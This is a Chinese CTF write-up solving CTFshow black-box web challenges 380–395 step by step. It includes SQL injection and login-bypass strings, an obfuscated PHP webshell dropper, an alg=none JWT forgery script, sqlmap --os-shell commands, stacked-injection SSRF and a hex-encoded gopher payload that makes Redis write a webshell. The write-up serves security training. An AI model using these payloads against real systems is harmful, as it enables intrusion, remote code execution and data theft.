CTFshow——黑盒测试

380

扫描一个目录,发现page.php,打开发现提示缺少id参数,且id参数控制php文件的打开,直接/page.php?id=flag即可
在这里插入图片描述

381

在首页源码中有可疑的路径,一层层打开看就发现flag了
在这里插入图片描述

382、383

两题依旧是访问后台:/alsckdfy/,弹出一个登陆界面,在账号处有SQL注入,admin'||1#即可登入

最后还是弱密码爆破一下,账密是admin:admin888

384

根据题目的描述就知道的要爆破了,按照要求写好生成字典的脚本,但还有六万多的数据,实在是有点大,直接看师傅的爆破结果了,密码是xy123

import string
a='0123456789'
b=string.ascii_lowercase

for w in b:
    for e in b:
        for i in a:
            for j in a: 
                for k in a:
                    print(w+e+i+j+k)

385

算是一个重装漏洞吧,install目录没有被403,按照提示访问/install/?install即可重置管理员密码,账密:admin:admin888

386

这题居然有个clear.php,自己字典没扫出来…
当然这个clear.php出处是/layui/css/tree.css,要我肯定不会尝试访问这个地址…
在这里插入图片描述
单纯访问clear.php似乎并不会删除文件,需要加点参数,比如file?file=./install/lock.dat就成功删除lock.dat。。秒啊。。最后去访问后台用默认密码登录即可

387

访问robots.txt
在这里插入图片描述
访问/debug/提示file not exist,经过前几题的经验,试试加上?file参数,然后没想到是文件读取
在这里插入图片描述
尝试包含日志文件然后写webshell,但是参数一直传不进去,再试试system('sleep 5')确定能够执行命令
在这里插入图片描述
那么传不了参数就在system中写文件:最后的flag是在check.php中

<?php system('cat /var/www/html/alsckdfy/check.php>/var/www/html/1.txt');?>

还有一种方法就RCE删除lock.dat进行重装

<?php unlink('/var/www/html/install/lock.dat');?>

在这里插入图片描述

388

此处有个编辑器:/alsckdfy/editor/,kindEditor编辑4.1.11是存在上传过滤不严的漏洞的
在这里插入图片描述
可允许上传一些危险后缀如doc、html、txt、zip等等
在这里插入图片描述
我们上传一个文件然后在/debug/?file=处包含一下即可

<?php
$a='metsys';

strrev($a)('echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > /var/www/html/1.php');

在这里插入图片描述

访问后/debug/?file=/var/www/html/alsckdfy/attached/file/20210813/20210813152904_72474.txt就会生成webshell了

389

继续访问/debug/提示权限不足,看看cookie信息发现是引入了JWT

将算法改成none的JWT脚本

import jwt
 
# payload
token_dict = {
  "iss": "admin",
  "iat": 1628869261,
  "exp": 1628876461,
  "nbf": 1628869261,
  "sub": "admin",
  "jti": "cbcea3355b64ed215da14373ad82e234"
}

# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
					 key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
 					   algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

运行脚本得到的结果放在cookie中按照上一题的做法继续做即可

390

还是可以包含日志文件,其中UA头写unlink()函数删除lock.dat,这是前几题的做法
在这里插入图片描述
但是这题的意图是SQL注入,在页面中有id参数,测试了一下是有SQL注入的,直接SQLMAP跑

python sqlmap.py  -u "http://96105d8a-0108-4216-b454-80b8aebf9d52.challenge.ctf.show:8080/page.php?id=2"  --os-shell

391、392

在搜索处存在联合注入与延时注入

/search.php?title=-1' union select 1,2,3#

还是直接SQLMAP跑就行

 python sqlmap.py  -u "http://591cdf38-0c2b-4e64-bf4c-de106f770c90.challenge.ctf.show:8080/search.php?title=a" --os-shell

393

这题感觉思路很重要,考点是SSRF。
首先是继续SQLMAP跑search.php的注入点,跑不出os-shell--file-read的,只得简单看看ctfshow数据库下有什么表,其中有个link表,表中有url的字段,有点奇怪
在这里插入图片描述
在这里插入图片描述
回到浏览器中划到最下面多了个搜索引擎
在这里插入图片描述
点击百度发现是在当前页面中加载了百度的首页,尝试搜索但并不会跳转正常的百度搜索结果出来,那么可以猜测这个是从数据库中调用出来的,刚刚的link表的url控制了内容的读取,刚好也能对应这里了。
在这里插入图片描述
既然如此我们可以试试SSRF读取本地的flag,利用file:///flag来读取,但需要将它存到数据库中。

注入点同时还是堆叠注入,那么直接更新ulr的值为file:///flag,然后再点击一个搜索引擎即可

/search.php?title=a';update link set url='file:///flag' where id != 0;#

394、395

方法一:
继续使用update但报错error,怀疑是ban了某些字符,那么对file:///flag进行16进制

/search.php?title=a';update link set url=0x66696c653a2f2f2f666c6167 where id != 0;#

flag not here,再试试去/alsckdfy/check.php

/search.php?title=a';update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870 where id != 0;#

黑名单是:

if(preg_match('/file|check|php/i', $id)){
    die('error');
  }

方法二:

看羽师傅的操作,还能攻击Redis,仔细想想也是,毕竟是SSRF,然后也是数据库相关的,如果有Redis服务那么也是一种攻击方式

这里一开始去用gopherus生成的payload去打一直不成功,最后看了羽师傅的操作还有更改字段类型的操作。确实,因为这个id字段是int类型的,接收不了这么多数据。下面的语句更改link表的url字段为text类型,学到了

/search.php?title=a';ALTER table link MODIFY COLUMN url text;#

在这里插入图片描述
最后打这个payload就会生成shell.php了:
/search.php?title=a';update link set url=0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c25304425304125324133253044253041253234332530442530417365742530442530412532343125304425304131253044253041253234333425304425304125304125304125334325334670687025323073797374656d2532382532345f474554253542253237636d642532372535442532392533422532302533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431392530442530412f7661722f7777772f68746d6c2f312e7068702530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041 where id != 0;#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值